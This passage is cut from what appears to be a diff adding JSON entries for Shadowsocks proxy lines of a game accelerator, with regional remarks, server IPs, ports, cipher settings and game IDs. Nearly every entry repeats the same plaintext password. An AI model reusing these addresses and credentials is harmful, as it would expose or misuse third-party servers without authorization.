"WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "347d95a9c20f40e7af0b74b1e0485118", + "Remark": "首尔专线5", + "HostName": "210.51.35.248", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "122.13.18.49", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "43abb945e5a04e2793cd6d08867f4279", + "Remark": "首尔专线265", + "HostName": "202.101.50.1", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.125", + "dlPORT": "22406", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "d9a6e0bd76e44444889294b08e91ca81", + "Remark": "首尔专线12", + "HostName": "210.51.35.133", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "韩国", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10004", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "ddd53ff1d8a045ad96a25cd4df9cfbb1", + "Remark": "新加坡专线850", + "HostName": "14.119.67.103", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "新加坡", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.172", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "7beac35061d046ab8b15531b56b38ce4", + "Remark": "新加坡专线666", + "HostName": "183.232.156.113", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "停用", + "Model": "", + "LineNode": "新加坡", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.174", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "864403083e694c26805631b90b1a2619", + "Remark": "亚服专线416", + "HostName": "43.250.146.218", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "亚服", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.241.69.105", + "dlPORT": "10001", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "12c7bf2e82e846cf9fccb7519f893b31", + "Remark": "欧洲专线888", + "HostName": "106.38.203.3", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "欧洲", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10029", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "662ae7a700cf42c19a74309fb13ce282", + "Remark": "俄罗斯专线362", + "HostName": "106.38.203.6", + "GeHostName": "", + "PORT": "10009", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "俄罗斯", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10019", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "59.37.81.104", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "6c21774920a344599f99447a06f476fb", + "Remark": "台湾专线551", + "HostName": "120.232.206.60", + "GeHostName": "", + "PORT": "10003", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾备用", + "LineGame": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "91f541a2f63049a4af1517858cbcb4bf", + "Remark": "台湾专线556", + "HostName": "59.37.81.97", + "GeHostName": "", + "PORT": "10001", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾备用", + "LineGame": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10014", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.6.187", + "SIPort": "10000", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "65edff900dec4816a6436ae8a4a58702", + "Remark": "台湾专线537", + "HostName": "14.17.92.154", + "GeHostName": "", + "PORT": "10001", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "停用", + "Model": "", + "LineNode": "中国台湾备用", + "LineGame": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "dd6edc1e58764e2eaf52db74ab0dea6b", + "Remark": "台湾专线277", + "HostName": "120.232.206.63", + "GeHostName": "", + "PORT": "10002", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾备用", + "LineGame": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10008", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "cd02b32f5e244ee6b1975ce354fec034", + "Remark": "台湾专线584", + "HostName": "122.13.18.49", + "GeHostName": "", + "PORT": "10002", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾备用", + "LineGame": "com.win64.oppc.game.lostarkTW:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "6f1a946da1ee4e41ad7918a3446cf687", + "Remark": "台湾专线38", + "HostName": "59.37.81.101", + "GeHostName": "", + "PORT": "10006", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.152", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10006", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "62afa3fa00154e6bb846eb8932daf967", + "Remark": "台湾专线752", + "HostName": "122.13.18.60", + "GeHostName": "", + "PORT": "10007", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.240.171.213", + "dlPORT": "22405", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10006", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "d4c4003701ec474ca53598444c2a2feb", + "Remark": "台湾专线186", + "HostName": "120.232.206.58", + "GeHostName": "", + "PORT": "10002", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.199", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.233.128.69", + "SIPort": "10006", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "608042dc47464fe488af13605c0aba73", + "Remark": "台湾专线986", + "HostName": "183.60.131.148", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.147", + "dlPORT": "10002", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "111.45.30.79", + "SIPort": "10006", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "13806d773caf429897c8fa2238eaf1af", + "Remark": "台湾专线173", + "HostName": "120.232.206.58", + "GeHostName": "", + "PORT": "10004", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "移动", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "中国台湾", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10014", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "120.232.206.54", + "SIPort": "10006", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": null, + "dlRegion": null, + "dl2Region": null, + "SIRegion": null, + "GameRegion": null, + "GamedfRegion": null, + "SI2Region": null + }, + { + "SerialCode": "8b10fe95ad274878b20563d071dbfb62", + "Remark": "台湾专线158", + "HostName": "157.148.132.41", + "GeHostName": "", + "PORT": "10000", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "停用", + "Model": "", + "LineNode": "中国台湾", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10000", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "157.148.132.112", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "13f83fdda40643f4b790a9a83e6a3e2c", + "Remark": "北美专线164", + "HostName": "101.227.72.144", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "联通", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "北美", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10025", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "183.60.131.150", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "5ef407dab7c7419eab63e6b2076d2e7c", + "Remark": "韩国专线164", + "HostName": "202.101.51.180", + "GeHostName": "", + "PORT": "22404", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "韩国", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.134.15.192", + "dlPORT": "10005", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "6e71251e5a43435dbd0a8157ef2d793e", + "Remark": "韩国专线827", + "HostName": "202.101.50.6", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "韩国", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "120.232.220.177", + "dlPORT": "10018", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "122.13.18.52", + "SIPort": "10002", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "620db16f81754cb38562a8b3e781ffd4", + "Remark": "新加坡专线466", + "HostName": "14.119.67.103", + "GeHostName": "", + "PORT": "22406", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": "电信", + "PLUGIN": "", + "plugin_opts": "dwz1GtF7", + "LineType": "ss", + "LineState": "启用", + "Model": "", + "LineNode": "新加坡", + "LineGame": "com.win64.oppc.game.common:22021709,102024080020541279", + "dlHostName": "183.232.156.171", + "dlPORT": "10003", + "dlMethod": "aes-256-cfb", + "dlPASSWORD": "dwz1GtF7", + "SIHostName": "121.14.152.149", + "SIPort": "10004", + "SIMethod": "aes-256-cfb", + "SIPassword": "dwz1GtF7", + "GameHostName": "", + "GameMethod": "", + "GamePort": "", + "GamePassword": "", + "dl2HostName": "", + "dl2Method": "", + "dl2Port": "", + "dl2Password": "", + "GamedfHostName": "", + "GamedfMethod": "", + "GamedfPort": "", + "GamedfPassword": "", + "SI2HostName": "", + "SI2Method": "", + "SI2Port": "", + "SI2Password": "", + "WebHostName": "", + "WebPort": "", + "WebMethod": "", + "WebPassword": "", + "Region": "", + "dlRegion": "", + "dl2Region": "", + "SIRegion": "", + "GameRegion": "", + "GamedfRegion": "", + "SI2Region": "" + }, + { + "SerialCode": "8efb9a59a2a4416daa6de4b159cf8e75", + "Remark": "首尔专线384", + "HostName": "112.54.161.38", + "GeHostName": "", + "PORT": "22407", + "GePort": "", + "Method": "aes-256-cfb", + "GeMethod": "", + "PASSWORD": 